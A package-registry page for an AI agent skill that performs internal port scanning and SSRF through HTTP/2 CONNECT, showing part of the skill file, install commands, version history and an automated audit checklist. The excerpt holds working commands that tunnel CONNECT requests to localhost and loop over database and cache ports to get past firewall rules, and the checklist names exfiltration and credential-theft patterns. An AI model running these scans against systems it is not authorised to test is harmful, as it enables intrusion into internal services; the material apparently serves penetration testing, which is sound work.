h2-connect-internal-scan SKILL.md skillA
h2-connect-internal-scan from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/h2-connect-internal-scan@git:20260529.8f6ea0ePins git:20260529.8f6ea0e in mdr.lock. Pin the fingerprint instead.
- Audit grade
- A, 17 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/h2-connect-internal-scan/SKILL.md- Versions recorded
- 2
- Latest version
- git:20260529.8f6ea0e, committed May 29, 2026
- First version recorded
- May 4, 2026
- Size
- 2,075 bytes
- Repository stars
- 22
- License
- MIT
Internal port scanning and SSRF via HTTP/2 CONNECT method -- enumerates internal services, detects open ports, and bypasses firewall restrictions. Use when target supports HTTP/2 and proxies may forward CONNECT requests to internal hosts.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# HTTP/2 CONNECT Internal Scan
## Pattern
- Target supports HTTP/2 (ALPN h2 negotiation succeeds)
- Reverse proxy or load balancer in front of application
- CONNECT method not explicitly blocked in H2 stream handlers
## Workflow
### 1. Verify HTTP/2 support
```bash
curl --http2 -v https://target.com 2>&1 | grep "ALPN.*h2"
```
**Checkpoint:** If ALPN negotiation does not show `h2`, fall back to HTTP/1.1 CONNECT or try alternative SSRF vectors.
### 2. Test single CONNECT request
```bash
# Using nghttp2 to send CONNECT to a known-open port
nghttp -v "https://target.com" -H ":method: CONNECT" -H ":authority: 127.0.0.1:80"
```
**Checkpoint:** If RST_STREAM on all attempts, the proxy explicitly blocks CONNECT. Try `te0-request-smuggling` or `ssrf-redirect-loop` instead.
### 3. Scan high-value internal ports
```bash
# Multiplexed port scan via H2 streams
for port in 80 443 3000 5432 6379 8080 8443 9200 11211 27017; do
nghttp -v "https://target.com" \
-H ":method: CONNECT" -H ":authority: 127.0.0.1:${port}" \
2>&1 | grep "status=" &
done
wait
```
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/h2-connect-internal-scan@sha256:d5e1a75b9f89dd36The line at the top of this page pins the label git:20260529.8f6ea0e, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_xkmw6sonbea5vl7s)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 2 versions of this file, between May 4, 2026 and May 29, 2026, about one every 25 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260529.8f6ea0e latest | 2026-05-29 | 8f6ea0e | 2,075 B | A | view · diff |
| git:20260504.2a64374 | 2026-05-04 | 2a64374 | 1,541 B | A | view |
Audit of the latest version
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (2075 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_xkmw6sonbea5vl7s GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/h2-connect-internal-scan GET https://markdownregistry.com/api/v1/blob/d5e1a75b9f89dd366178ffdce541ee195aa3b800f3246acae2d3abb4926625c2
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.